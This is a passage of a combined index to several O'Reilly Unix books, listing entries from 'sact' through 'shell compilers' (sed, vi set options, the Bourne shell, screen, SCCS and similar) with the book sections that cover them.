sact command (SCCS) : UNIX in a Nutshell, Chapter 17, Reference: sact
sadp command : UNIX Power Tools, 39.12.3. The I/O Subsystem
sample programs : sed & awk, Sample Programs
sar utility : UNIX Power Tools, 39.12.2. The Memory Subsystem
save command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: save
savedirs shell variable : UNIX Power Tools, 14.6. The Shells' pushd and popd Commands
savehist shell variable
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX Power Tools, 11.11. Picking Up Where You Left Off
UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
saving command lines to file : UNIX Power Tools, 1.5. Anyone Can Program the Shell
saving files
Learning the vi Editor, 1.1.3. Saving and Quitting a File
(see also vi commands)
saving output
sed & awk, 2.3.2.1. Saving output
sed & awk, 4.3. Testing and Saving Output
sed & awk, 10.5. Directing Output to Files and Pipes
sc program
UNIX Power Tools, 49.8. It's Great to Have a Spreadsheet
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
advantages : UNIX Power Tools, 49.8. It's Great to Have a Spreadsheet
commands : UNIX Power Tools, 49.8. It's Great to Have a Spreadsheet
disadvantages : UNIX Power Tools, 49.9. Business Graphics with ipl
ipl program used with : UNIX Power Tools, 49.9. Business Graphics with ipl
Microsoft Excel compared to : UNIX Power Tools, 49.8. It's Great to Have a Spreadsheet
printing from
UNIX Power Tools, 49.8. It's Great to Have a Spreadsheet
UNIX Power Tools, 49.9. Business Graphics with ipl
scale command : UNIX Power Tools, 49.1. bc: Simple Math at the Shell Prompt
SCCS (Source Code Control System)
UNIX Power Tools, 20.12. Protecting Files with SCCS or RCS
UNIX in a Nutshell, 17.6. sccs and Pseudo-commands
UNIX in a Nutshell, 17. The SCCS Utility
commands and psuedo-commands : UNIX in a Nutshell, 17.5. Alphabetical Summary of SCCS Commands
keywords for : UNIX in a Nutshell, 17.3. Identification Keywords
RCS commands equivalents : UNIX in a Nutshell, 18.4. Conversion Guide for SCCS Users
sccsdiff command (SCCS) : UNIX in a Nutshell, Chapter 17, Reference: sccsdiff
schedules : (see calendar command)
SCO : Learning the Korn Shell, 1.9.5. Control Keys
scope control (tawk) : sed & awk, 11.3.2.1. Tawk language extensions
scp shell function : UNIX Power Tools, 10.10. Simulated Bourne Shell Functions and Aliases
scratchpad, creating in terminal windows : UNIX Power Tools, 48.3. A Scratchpad on Your Screen
screen : (see terminals)
screen editors
Learning the vi Editor, 1. The vi Text Editor
(see also vi editor)
screen program
UNIX Power Tools, 3.7. Detaching a Session with screen
UNIX Power Tools, 12.9. Running Multiple Shell Sessions with screen
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
screen variable : UNIX Power Tools, 42.5. Checklist: Screen Size Messed Up?
screen, printing files to : (see also displaying)
cat command : Learning the UNIX Operating System, 3.2.1. cat
more utility
Learning the Korn Shell, 1.7.3. Pipelines
Learning the Korn Shell, 3.4.2.4. Terminal Types
Learning the Korn Shell, 8.5. Coroutines
Learning the UNIX Operating System, 3.2.2. more
Learning the UNIX Operating System, 5.2.3. pg and more
UNIX Power Tools, 9.19. For the Impatient: Type-Ahead
UNIX Power Tools, 25.3. Using more to Page Through Files
UNIX in a Nutshell, Chapter 2, Reference: more
starting : UNIX Power Tools, 38.3. Managing Processes: Overall Concepts
testing with screensize file : UNIX Power Tools, 42.6.2. Screen Width and Height: screensize
pg utility
Learning the UNIX Operating System, 3.2.3. pg
Learning the UNIX Operating System, 5.2.3. pg and more
UNIX in a Nutshell, Chapter 2, Reference: pg
pr command
Learning the Korn Shell, 9.2.3.3. Breakpoints
Learning the UNIX Operating System, 4.5.1. pr
UNIX Power Tools, 35.17. Making Text in Columns with pr
UNIX Power Tools, 43.7. Quick-and-Dirty Formatting Before Printing
UNIX Power Tools, 43.10. Filename Headers Above Files Without pr
UNIX in a Nutshell, Chapter 2, Reference: pr
-n option
Learning the Korn Shell, 9.2.3.3. Breakpoints
UNIX Power Tools, 25.21. Numbering Lines
-t option : UNIX Power Tools, 25.21. Numbering Lines
-t -e command : UNIX Power Tools, 41.4.1. TAB Is Just Another Character to UNIX
screensize file
UNIX Power Tools, 42.6.2. Screen Width and Height: screensize
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
Scribe program : UNIX Power Tools, 43.12.3. Scribe
script command : UNIX in a Nutshell, Chapter 2, Reference: script
script interpreters : (see shells)
script program
UNIX Power Tools, 13.9. Send Output Two or More Places with tee
UNIX Power Tools, 51.5. Copy What You Do with script
ending : UNIX Power Tools, 51.5. Copy What You Do with script
examples : UNIX Power Tools, 51.5. Copy What You Do with script
running with lastcomm : UNIX Power Tools, 39.6. lastcomm: What Commands Are Running and How Long Do They Take?
script.tidy script
UNIX Power Tools, 51.6. Cleaning script Files
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
examples : UNIX Power Tools, 51.6. Cleaning script Files
setting control characters : UNIX Power Tools, 51.6. Cleaning script Files
scripts
Learning the vi Editor, 7.4. Using ex Scripts
sed & awk, 2.1. Awk, by Sed and Grep, out of Ed
sed & awk, 2.2. Command-Line Syntax
sed & awk, 2.2.1. Scripting
sed & awk, B.1.1. Shell Wrapper for Invoking awk
(see also ex commands)
(see shell scripts)
built by diff : Learning the vi Editor, 7.4.5. ex Scripts Built by diff
built-in commands implemented as : Learning the Korn Shell, 4.1. Shell Scripts and Functions
comments in
Learning the Korn Shell, 4.3.1. Syntax of String Operators
Learning the vi Editor, 7.4.4. Comments in ex Scripts
debugging : sed & awk, 10.7. Debugging
examples of : sed & awk, 13. A Miscellany of Scripts
as files : sed & awk, 2.3.2. Script Files
format of : sed & awk, B.2.2. Format of a Script
modularizing : sed & awk, 10.7.3. Finding Out Where the Problem Is
names for : sed & awk, 2.2. Command-Line Syntax
order of precedence in command lookup
Learning the Korn Shell, 4.1.1. Functions
Learning the Korn Shell, 7.3. Command-line Processing
passing parameters to : sed & awk, 7.10. Passing Parameters Into a Script
phrase (example script) : sed & awk, 6.5. To Join a Phrase
running : Learning the Korn Shell, 4.1. Shell Scripts and Functions
sort text blocks : Learning the vi Editor, 7.4.3. Sorting Text Blocks: A Sample ex Script
stopping, sed : (see q command (sed))
SCROLL LOCK button : UNIX Power Tools, 42.2.1. Output Stopped?
scrolling : Learning the vi Editor, 3.1. Movement by Screens
with cursor stationary (z) : Learning the vi Editor, 3.1.2. Repositioning the Screen with z
error messages : UNIX Power Tools, 13.4. Problems Piping to a Pager
turning off : Learning the UNIX Operating System, 1.4. The Unresponsive Terminal
SCSI tapes : UNIX Power Tools, 20.6. Writing a Tape Drive on a Remote Machine
SD (Send Data) light : UNIX Power Tools, 42.2.4. Stalled Data Connection?
sdb debugger
Learning the Korn Shell, 10.2.2. ulimit
UNIX in a Nutshell, Chapter 2, Reference: sdb
UNIX in a Nutshell, 20.1. The Sdb Debugger
sdiff command
UNIX Power Tools, 28.4. Side-by-Side diffs: sdiff
UNIX Power Tools, 28.6. Choosing Sides with sdiff
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: sdiff
searching : (see finding)
searching (vi)
and replace
Learning the vi Editor, 6.2. Context-sensitive Replacement
Learning the vi Editor, 6.4.2. Block Move by Patterns
backward for a pattern (?) : Learning the vi Editor, 3.3.1. Repeating Searches
combine opening a file with : Learning the vi Editor, 4.2.1. Advancing to a Specific Place
for general class of words : Learning the vi Editor, 6.4.1. Search for General Class of Words
global : (see global replacement)
ignoring case
Learning the vi Editor, 6.3.2. Metacharacters Used in Replacement Strings
Learning the vi Editor, 7.1.1. The :set Command
Learning the vi Editor, 7.1.4. Some Useful Options
matched brackets : Learning the vi Editor, 7.5.2. A Special Search Command
metacharacters treated like normal characters : Learning the vi Editor, 7.1.4. Some Useful Options
pattern matching
Learning the vi Editor, 3.3. Movement by Searches
Learning the vi Editor, 6.3. Pattern-matching Rules
(see also global replacement)
repeat (n, N)
Learning the vi Editor, 3.3.1. Repeating Searches
Learning the vi Editor, 6.1. Confirming Substitutions
within current line : Learning the vi Editor, 3.3.2. Current Line Searches
wrapping around file
Learning the vi Editor, 3.3.1. Repeating Searches
Learning the vi Editor, 7.1.4. Some Useful Options
search path
UNIX Power Tools, 2.13. A .cshrc.$HOST File for Per Host Setup
UNIX Power Tools, 44.3.4. Shell Search Paths
for awk files : sed & awk, 11.2.3.2. An awk program search path
setting : UNIX Power Tools, 8.7. Setting Your Search Path
specifying : UNIX Power Tools, 1.10. Internal and External Commands
search-and-replace : sed & awk, 1.2. A Stream Editor
matching extent : sed & awk, 3.2.12.1. The extent of the match
search.el file
UNIX Power Tools, 32.8. Rational Searches
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
secondary prompts : UNIX Power Tools, 9.13. Multiline Commands, Secondary Prompts
SECONDS shell variable
Learning the Korn Shell, 3.4.3.1. Miscellaneous Variables
UNIX in a Nutshell, 4.3.2. Built-in Shell Variables
secret keys
decrypting : UNIX in a Nutshell, Chapter 2, Reference: keylogin
deleting : UNIX in a Nutshell, Chapter 2, Reference: keylogout
secure network services
decrypting secret keys in : UNIX in a Nutshell, Chapter 2, Reference: keylogin
deleting secret keys in : UNIX in a Nutshell, Chapter 2, Reference: keylogout
security
Learning the Korn Shell, Summary of Korn Shell Features
Learning the Korn Shell, 3.2.1. Tracked Aliases
Learning the Korn Shell, 10.3. System Security Features
circumventing write access : UNIX Power Tools, 22.11. A Loophole: Modifying Files Without Write Access
clear command and : UNIX Power Tools, 22.18. Clear Your Terminal for Security, to Stop Burn-in
encryption : (see encryption)
Korn shell features pertaining to : Learning the Korn Shell, 10.3. System Security Features
permissions : (see permissions)
problem with PATH
Learning the Korn Shell, 3.4.2.5. Command Search Path
Learning the Korn Shell, 10.3.2. A System Break-in Scenario
restricted shell : (see restricted shell)
rm command and : UNIX Power Tools, 23.2. rm and Its Dangers
suid interactive shells : Learning the Korn Shell, 10.3.2. A System Break-in Scenario
Trojan horse schemes : Learning the Korn Shell, 10.3.2. A System Break-in Scenario
sed editor
Learning the Korn Shell, 1.7.1. Standard I/O
Learning the Korn Shell, 4.3.2. Patterns and Regular Expressions
Learning the Korn Shell, 4.3.2.2. Korn shell versus awk/egrep regular expressions
Learning the Korn Shell, 10.1. Installing the Korn Shell as the Standard Shell
UNIX Power Tools, 2.12. Automatic Setups for Different Terminals
UNIX Power Tools, 34.1. Two Things You Must Know About sed
UNIX Power Tools, 43.21. Preprocessing troff Input with sed
sed & awk, 1.2. A Stream Editor
sed & awk, 2.3. Using sed
UNIX in a Nutshell, Chapter 2, Reference: sed
UNIX in a Nutshell, 10. The Sed Editor
UNIX in a Nutshell, 10.4.1. Basic Editing
addressing : UNIX Power Tools, 34.4. sed Addressing Basics
addup script using : UNIX Power Tools, 49.7. Total a Column with addup
with awk : sed & awk, 2.5. Using sed and awk Together
branch command
UNIX Power Tools, 34.19. Making Edits Everywhere Except...
UNIX Power Tools, 34.24.3. Alphabetical Summary of sed Commands
C shell and quoting : UNIX Power Tools, 34.23. sed Newlines, Quoting, and Backslashes in a Shell Script
checksed script : UNIX Power Tools, 34.3.1. checksed
command-line syntax
UNIX Power Tools, 34.2. Invoking sed
sed & awk, 2.2. Command-Line Syntax
sed & awk, A.1. Command-Line Syntax
sed & awk, 5.1. About the Syntax of sed Commands
commands for
UNIX Power Tools, 34.24. Quick Reference: sed
UNIX Power Tools, 43.21. Preprocessing troff Input with sed
sed & awk, 5. Basic sed Commands
sed & awk, 5.1. About the Syntax of sed Commands
sed & awk, 6. Advanced sed Commands
sed & awk, A.3. Command Summary for sed
UNIX in a Nutshell, 10.3. Syntax of Sed Commands
(see also under specific command)
delimiters
UNIX Power Tools, 34.7. Delimiting a Regular Expression
UNIX Power Tools, 45.35. Using a Control Character in a Script
documentation for : sed & awk, Other Sources of Information About sed and awk
-e option : UNIX Power Tools, 48.2. Online Phone and Address Lists
ed versus : sed & awk, 2.1. Awk, by Sed and Grep, out of Ed
edit non-matching lines : UNIX Power Tools, 34.19. Making Edits Everywhere Except...
editing scripts : UNIX Power Tools, 1.6. Power Tools for Editing
error messages : sed & awk, 2.3.1.1. Command garbled
eval combined with : UNIX Power Tools, 45.30.4. Using sed
examples
UNIX Power Tools, 44.14. Putting awk, sed, etc., Inside Shell Scripts
UNIX Power Tools, 45.30.4. Using sed
UNIX Power Tools, 48.2. Online Phone and Address Lists
UNIX Power Tools, 50.3. apropos on Systems Without apropos
UNIX Power Tools, 51.3. ASCII Characters: Listing and Getting Values
executing files using commands : UNIX Power Tools, 45.5. A File That Shows Itself... and What #! Does
-f option : UNIX Power Tools, 45.3. Don't Need a Shell for Your Script? Don't Use One
fixing PATH : UNIX Power Tools, 4.10. Find All Command Versions with whereiz
hold space : UNIX Power Tools, 34.13. Hold Space: The Set-Aside Buffer
multiline delete : UNIX Power Tools, 34.18. Multiline Delete
multiple matches on a line : UNIX Power Tools, 34.11. Search & Replacement: One Match Among Many
-n option : UNIX Power Tools, 45.30.4. Using sed
next command
UNIX Power Tools, 34.15. Making Edits Across Line Boundaries
UNIX Power Tools, 34.24.3. Alphabetical Summary of sed Commands
obtaining : sed & awk, Availability of sed and awk
options
sed & awk, 2.3.1. Specifying Simple Instructions
sed & awk, 2.3.2.4. Summary of options
(see also under specific option)
order dependency : UNIX Power Tools, 34.5. Order of Commands in a Script
organizing scripts : UNIX Power Tools, 4.3. Organizing Nonexecutable Scripts
parsing using : UNIX Power Tools, 45.30.4. Using sed
pattern space
UNIX Power Tools, 34.13. Hold Space: The Set-Aside Buffer
UNIX Power Tools, 34.15. Making Edits Across Line Boundaries
pattern-matching metacharacters : UNIX in a Nutshell, 6.2. Metacharacters, Listed by UNIX Program
patterns split across lines : UNIX Power Tools, 34.17. Searching for Patterns Split Across Lines
programming tips for : sed & awk, 4.5. Getting to the PromiSed Land
quick reference : sed & awk, A.1. Command-Line Syntax
quit command
UNIX Power Tools, 34.21. Uses of the sed Quit Command
UNIX Power Tools, 34.24.3. Alphabetical Summary of sed Commands
quoting control characters : UNIX Power Tools, 34.8. Newlines in a sed Replacement
regular expression metacharacters : sed & awk, A.2.2. Regular Expression Metacharacters for sed
referenced matched string : UNIX Power Tools, 34.9. Referencing the Search String in a Replacement
runsed script : UNIX Power Tools, 34.3.2. runsed
search-and-replace examples : UNIX in a Nutshell, 6.4.1. Examples of Searching and Replacing
substitution commands : UNIX Power Tools, 45.35. Using a Control Character in a Script
test command : UNIX Power Tools, 34.20. The sed Test Command
transform command
UNIX Power Tools, 34.12. Transformations on Text
UNIX Power Tools, 34.14. Transforming Part of a Line
UNIX Power Tools, 34.24.3. Alphabetical Summary of sed Commands
sedman script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
"segmentation fault (core dumped)" error message : UNIX Power Tools, 50.12. Common UNIX Error Messages
segmentation violation : UNIX Power Tools, 38.8. What Are Signals?
select
Learning the Korn Shell, Summary of Korn Shell Features
Learning the Korn Shell, 5.4. select
Learning the Korn Shell, 6.3. Arrays
Learning the Korn Shell, 7.2.2.4. Reading User Input
Learning the Korn Shell, A.1. The Bourne Shell
Learning the Korn Shell, A.2. The IEEE 1003.2 POSIX Shell Standard
description : Learning the Korn Shell, 5.4. select
lists of names in : Learning the Korn Shell, 5.4. select
PS3 prompt in : Learning the Korn Shell, 5.4. select
redirecting I/O to : Learning the Korn Shell, 7.2.2.2. I/O Redirection and multiple commands
syntax : Learning the Korn Shell, 5.4. select
select command (ksh, sh) : UNIX in a Nutshell, Chapter 4, Reference: select
selecting columns from files : UNIX in a Nutshell, Chapter 2, Reference: cut
self-restarting jobs : UNIX Power Tools, 40.8. Automatically Restarting at Jobs
semaphore sets, removing : UNIX in a Nutshell, Chapter 2, Reference: ipcrm
semicolon : (see )
sending email messages
Learning the UNIX Operating System, 3.4.1. Sending Mail
UNIX in a Nutshell, Chapter 2, Reference: mailx
to all users : UNIX in a Nutshell, Chapter 2, Reference: wall
serial line
UNIX Power Tools, 5.7. What termcap and terminfo Do and Don't Control
UNIX Power Tools, 42.1. Making Sense Out of the Terminal Mess
service grades, listing : UNIX in a Nutshell, Chapter 2, Reference: uuglist
sessions
customizing : UNIX in a Nutshell, 3.2.2. Customization of Your UNIX Session
detaching : UNIX Power Tools, 3.7. Detaching a Session with screen
recording : UNIX in a Nutshell, Chapter 2, Reference: script
unresponsive (hung) : Learning the UNIX Operating System, 1.4. The Unresponsive Terminal
set command
UNIX Power Tools, 6.8. Shell Variables
UNIX Power Tools, 14.10. Variables Help You Find Directories and Files
UNIX Power Tools, 44.19. The Bourne Shell set Command
UNIX in a Nutshell, Chapter 4, Reference: set
UNIX in a Nutshell, Chapter 5, Reference: set
UNIX in a Nutshell, Chapter 9, Reference: set
UNIX in a Nutshell, Chapter 20, Reference: set
-A (array assignment)
Learning the Korn Shell, 6.3. Arrays
Learning the Korn Shell, 6.3.3. String Formatting Options
arguments to : UNIX Power Tools, 44.19. The Bourne Shell set Command
-e option : UNIX Power Tools, 46.6. Watch Out for Bourne Shell -e Bug
examples
UNIX Power Tools, 44.18. Standard Command-Line Parsing
UNIX Power Tools, 44.19. The Bourne Shell set Command
UNIX Power Tools, 45.17. Making a for Loop with Multiple Variables
UNIX Power Tools, 45.36. Shell Lockfile
UNIX Power Tools, 48.7. cal That Marks Today's Date
listing variables : UNIX Power Tools, 6.1. What Environment Variables Are Good For
+o (turn off option)
Learning the Korn Shell, 3.3. Options
Learning the Korn Shell, 9.1.1. Set Options
-o (turn on option)
Learning the Korn Shell, 3.3. Options
Learning the Korn Shell, 9.1.1. Set Options
Learning the Korn Shell, A.1. The Bourne Shell
options
Learning the vi Editor, 7.1. Customizing vi
Learning the vi Editor, 7.1.1. The :set Command
output of in next ksh release : Learning the Korn Shell, A.7. The Future of the Korn Shell
parsing using : UNIX Power Tools, 45.30.3. Using set
quoting : UNIX Power Tools, 44.19. The Bourne Shell set Command
wildcards : UNIX Power Tools, 44.19. The Bourne Shell set Command
-xv option : UNIX Power Tools, 46.1.1. Use -xv
:set command (vi) : UNIX in a Nutshell, 8.10.1. The :set Command
set directory command : UNIX Power Tools, 30.35. Out of Temporary Space? Use Another Directory
set echo command : UNIX Power Tools, 2.16. Approved Shells: Using Unapproved Login Shell
set line numbers (:set nu) : Learning the vi Editor, 2.2.3. Movement Within a Line
set noglob command : UNIX Power Tools, 5.4. Setting the TERMCAP Variable with tset
set nonomatch command : UNIX Power Tools, 3.4. Automatic File Cleanup
set options
allow metacharacters in searches (:set magic) : Learning the vi Editor, 7.1.4. Some Useful Options
alphabetical list of : Learning the vi Editor, B. Setting Environment Options
assign a value : Learning the vi Editor, 7.1.1. The :set Command
autoindent (:set ai) : Learning the vi Editor, 7.5.1. Indentation Control
display tabs (:set list) : Learning the vi Editor, 7.5.1. Indentation Control
exrc : Learning the vi Editor, 7.1.3. Alternate Environments
ignore case (:set ic)
Learning the vi Editor, 7.1.1. The :set Command
Learning the vi Editor, 7.1.4. Some Useful Options
number lines (:set nu)
Learning the vi Editor, 3.4. Movement by Line Number
Learning the vi Editor, 3.4.1. The G (Go To) Command if
Learning the vi Editor, 5.2.2. Defining a Range of Lines
paragraphs (:set para=) : Learning the vi Editor, 3.2. Movement by Text Blocks
sections (:set sect=) : Learning the vi Editor, 3.2. Movement by Text Blocks
shiftwidth (:set sw=) : Learning the vi Editor, 7.5.1. Indentation Control
show matching brackets (:set sm) : Learning the vi Editor, 7.5.2. A Special Search Command
tabstop (:set ts=) : Learning the vi Editor, 7.5.1. Indentation Control
turn on or off : Learning the vi Editor, 7.1.1. The :set Command
window size (:set w=) : Learning the vi Editor, 7.1.1. The :set Command
wrapmargin (:set wm=)
Learning the vi Editor, 2.1. vi Commands
Learning the vi Editor, 2.2.3. Movement Within a Line
Learning the vi Editor, 2.3.8.1. Repeat
Learning the vi Editor, 7.1.4. Some Useful Options
map example : Learning the vi Editor, 7.3.5. More Examples of Mapping Keys
wrapscan (:set ws)
Learning the vi Editor, 3.3.1. Repeating Searches
Learning the vi Editor, 7.1.4. Some Useful Options
set prompt test
UNIX Power Tools, 2.5.1. Quick Login
UNIX Power Tools, 2.9. Speeding Up Your C Shell with set prompt Test
set verbose echo command : UNIX Power Tools, 40.4. Choosing the Shell Run (We Hope) by at
setenv command (csh) : UNIX in a Nutshell, Chapter 5, Reference: setenv
setenv command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: setenv
setgid bit : UNIX Power Tools, 22.5. Group Permissions in a Directory with the setgid Bit
setprompt alias : UNIX Power Tools, 7.11. dirs in Your Prompt: Better than $cwd
setterm command : Learning the UNIX Operating System, 3.6. Customizing Your Account
setup alias : UNIX Power Tools, 2.5.2. A Second Alias and Command File
setup files : (see configuration files)
storing information : UNIX Power Tools, 47.5. Using C Shell Arrays
SGID (set group ID) bit
UNIX Power Tools, 1.23. File Access Permissions
UNIX Power Tools, 1.25. Access to Directories
sh (Bourne shell)
Learning the Korn Shell, Preface
Learning the Korn Shell, Summary of Korn Shell Features
Learning the Korn Shell, 1.3. History of UNIX Shells
Learning the Korn Shell, 1.3.1. The Korn Shell
Learning the Korn Shell, 1.3.2. Features of the Korn Shell
Learning the Korn Shell, 1.4. Getting the Korn Shell
Learning the Korn Shell, 2. Command-line Editing
Learning the Korn Shell, 3.3. Options
Learning the Korn Shell, 4.1.1. Functions
Learning the Korn Shell, 4.2. Shell Variables
Learning the Korn Shell, 4.3.2. Patterns and Regular Expressions
Learning the Korn Shell, 4.4. Command Substitution
Learning the Korn Shell, 5.1.3.1. String comparisons
Learning the Korn Shell, 5.4. select
Learning the Korn Shell, 6.1.3. getopts
Learning the Korn Shell, 6.2. Integer Variables and Arithmetic
Learning the Korn Shell, 7.1. I/O Redirectors
Learning the Korn Shell, 7.1.2. File Descriptors
Learning the Korn Shell, 8.5.4. Coroutines with Two-way Pipes
Learning the Korn Shell, 9. Debugging Shell Programs
Learning the Korn Shell, 10.1. Installing the Korn Shell as the Standard Shell
Learning the Korn Shell, A. Related Shells
Learning the Korn Shell, A.1. The Bourne Shell
Learning the Korn Shell, A.2. The IEEE 1003.2 POSIX Shell Standard
Learning the Korn Shell, A.4. pdksh
Learning the Korn Shell, A.5. bash
UNIX Power Tools, 1.8. There Are Many Shells
UNIX Power Tools, 1.33. UNIX Networking and Communications
UNIX Power Tools, 38.3. Managing Processes: Overall Concepts
UNIX Power Tools, 42.2.5. Aborting Programs
UNIX Power Tools, 44.2. Writing a Simple Shell Program
UNIX Power Tools, 44.3.3. Types of Shells
UNIX in a Nutshell, Chapter 2, Reference: sh
UNIX in a Nutshell, 4. The Bourne Shell and Korn Shell
UNIX in a Nutshell, Chapter 20, Reference: sh
(see also rsh utility)
{ } filename wildcards, adding
accidental logouts : UNIX Power Tools, 3.6. Stop Accidental Bourne Shell Logouts
advantages : UNIX Power Tools, 44.3.3. Types of Shells
aliases : UNIX Power Tools, 10.9. Shell Functions
arrays in : UNIX Power Tools, 45.34. Arrays in the Bourne Shell
background processing
UNIX Power Tools, 1.27. How Background Processing Works
UNIX Power Tools, 1.28. Some Gotchas with Background Processing
commands
list of : UNIX in a Nutshell, 4.6. Built-in Commands (Bourne and Korn Shell)
multiline commands : UNIX Power Tools, 9.13. Multiline Commands, Secondary Prompts
C shell compared to
UNIX Power Tools, 44.3.3. Types of Shells
UNIX Power Tools, 47.1. Why Not?
UNIX Power Tools, 47.2. C Shell Programming Considered Harmful
case statements
UNIX Power Tools, 2.12. Automatic Setups for Different Terminals
UNIX Power Tools, 44.5. Test String Values with Bourne Shell case
command lines as scripts
UNIX Power Tools, 44.2. Writing a Simple Shell Program
UNIX Power Tools, 44.15. Handling Command-Line Arguments in Shell Scripts
comments in scripts
UNIX Power Tools, 44.2. Writing a Simple Shell Program
UNIX Power Tools, 45.9. The Unappreciated Bourne Shell ":" Operator
compared to ksh and csh : UNIX in a Nutshell, 3.5. Differing Features
conditional expressions : UNIX Power Tools, 44.8. Test Exit Status with the if Statement
creating empty file : UNIX Power Tools, 21.7. Setting File Modification Time with touch
date formats : UNIX Power Tools, 7.12. External Commands Send Signals to Set Variables
debugging scripts
UNIX Power Tools, 44.8. Test Exit Status with the if Statement
UNIX Power Tools, 46.1. Tips for Debugging Shell Scripts
-e option : UNIX Power Tools, 46.6. Watch Out for Bourne Shell -e Bug
ending scripts : UNIX Power Tools, 44.11. Set Exit Status of a Shell (Script)
example scripts
UNIX Power Tools, 44.2. Writing a Simple Shell Program
UNIX Power Tools, 44.3.5. Bourne Shell Used Here
UNIX Power Tools, 44.4. Testing How Your System Executes Files
UNIX Power Tools, 44.5. Test String Values with Bourne Shell case
UNIX Power Tools, 44.7. Exit Status of UNIX Processes
UNIX Power Tools, 44.8. Test Exit Status with the if Statement
UNIX Power Tools, 44.9. Testing Your Success
UNIX Power Tools, 44.10.1. Looping Until a Command Succeeds
UNIX Power Tools, 44.11. Set Exit Status of a Shell (Script)
executing scripts
UNIX Power Tools, 40.4. Choosing the Shell Run (We Hope) by at
UNIX Power Tools, 44.4. Testing How Your System Executes Files
features of : UNIX Power Tools, 44.3.5. Bourne Shell Used Here
grouping commands : UNIX Power Tools, 13.8. Using {list} to Group Bourne Shell Commands
hangups in : UNIX Power Tools, 38.18. nohup
ignoreeof variable : UNIX Power Tools, 3.5. Stop Accidental C Shell Logouts
interrupted : UNIX Power Tools, 45.8. Handling Signals to Child Processes
invoking shell : UNIX in a Nutshell, 4.8. Invoking the Shell
job control : UNIX in a Nutshell, 4.7. Job Control
jot command used in : UNIX Power Tools, 45.11. The Multipurpose jot Command
logging out of : UNIX Power Tools, 3.2. Running Commands at Bourne/Korn Shell Logout
loops in
UNIX Power Tools, 9.12. The Bourne Shell for Loop
UNIX Power Tools, 44.10. Loops That Test Exit Status
mail notification : UNIX Power Tools, 21.8.2. For Bourne Shell Users
number crunching in : UNIX Power Tools, 45.11. The Multipurpose jot Command
overriding environment variables : UNIX Power Tools, 6.10. Running a Command with a Temporarily Different Environment
path names in scripts : UNIX Power Tools, 44.2. Writing a Simple Shell Program
pipelines in : UNIX Power Tools, 47.2.1.4. More Elaborate Combinations
.profile file : UNIX Power Tools, 2.2.1. Bourne Shell
quoting in
UNIX Power Tools, 8.14. Bourne Shell Quoting
UNIX Power Tools, 47.2.4. Quoting
random number generators : UNIX Power Tools, 45.11. The Multipurpose jot Command
reading .profile file : UNIX Power Tools, 5.6. Checklist: Terminal Hangs When I Log In
reading arguments : UNIX Power Tools, 8.13. Is It "2>&1 file" or "> file 2>&1"? Why?
redirecting input/output
UNIX Power Tools, 13.1. Using Standard Input and Output
UNIX Power Tools, 13.3. Send (only) Standard Error Down a Pipe
replacing with C shells
UNIX Power Tools, 45.6. Making Sure Your Script Runs with Bourne Shell, Without #!
UNIX Power Tools, 45.7. The exec Command
running scripts in
UNIX Power Tools, 44.3.5. Bourne Shell Used Here
UNIX Power Tools, 45.6. Making Sure Your Script Runs with Bourne Shell, Without #!
script file extension : UNIX Power Tools, 1.17. Filename Extensions
setting restrictions on
UNIX in a Nutshell, Chapter 2, Reference: rsh
UNIX in a Nutshell, 4.9. Restricted Shells
simulated functions and aliases : UNIX Power Tools, 10.10. Simulated Bourne Shell Functions and Aliases
special characters/operators in : UNIX Power Tools, 8.19. "Special" Characters and Operators
standard input : UNIX Power Tools, 47.2.1.2. Reading Files
standard output : UNIX Power Tools, 47.2.1.4. More Elaborate Combinations
string editing operators : UNIX Power Tools, 45.12. Parameter Substitution
trapping signals
UNIX Power Tools, 7.12. External Commands Send Signals to Set Variables
UNIX Power Tools, 47.2.3. Signals
tset command : UNIX Power Tools, 5.3. Setting the Terminal Type When You Log In
-v option : UNIX Power Tools, 6.9. Special C Shell Variables
variables
UNIX Power Tools, 6.8. Shell Variables
UNIX Power Tools, 47.2.5. Variable Syntax
UNIX in a Nutshell, 4.3. Variables
environment variables
UNIX Power Tools, 6.3. Predefined Environment Variables
UNIX Power Tools, 47.2.5. Variable Syntax
tracing : UNIX Power Tools, 8.17. verbose and echo Variables Show Quoting
-x option : UNIX Power Tools, 6.9. Special C Shell Variables
.sh filename extension : UNIX Power Tools, 1.17. Filename Extensions
.sh_logout file : UNIX Power Tools, 3.6. Stop Accidental Bourne Shell Logouts
SH_EXECD environment variable : UNIX Power Tools, 2.16. Approved Shells: Using Unapproved Login Shell
sh_init : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
on PowerTools disk : UNIX Power Tools, 50.8. Which Version Am I Using?
sh_logout : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
SHACCT shell variable : UNIX in a Nutshell, 4.3.3. Other Shell Variables
.shar filename extension : UNIX Power Tools, 1.17. Filename Extensions
shar files
UNIX Power Tools, 19.2. Introduction to Shell Archives
UNIX Power Tools, 52.8.2.4. Unsharring the Sources
uuencoded : UNIX Power Tools, 11.3. My Favorite Is !$
shar program
UNIX Power Tools, 19.2. Introduction to Shell Archives
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
shareable files : UNIX Power Tools, 52.5.3.1. Directory Structure
shared memory identifiers, removing : UNIX in a Nutshell, Chapter 2, Reference: ipcrm
SHAREPREFIX, CD-ROM : UNIX Power Tools, 52.8.1. Running the Build Scripts
sharing files : Learning the UNIX Operating System, 3.3. Protecting and Sharing Files
shebang : (see #! notation)
shell aliases : Learning the UNIX Operating System, 7.2. Shell Aliases and Functions
shell archives
UNIX Power Tools, 19.2. Introduction to Shell Archives
UNIX Power Tools, 19.4. A Simple Version of unshar
filename extension : UNIX Power Tools, 1.17. Filename Extensions
with GNU tar : UNIX Power Tools, 19.6. GNU tar Sampler
shell characters (emacs) : UNIX in a Nutshell, 7.2.11. Special Shell Characters
shell command (ex) : UNIX in a Nutshell, Chapter 9, Reference: shell
shell compilers : Learning the Korn Shell, 9. Debugging Shell Programs
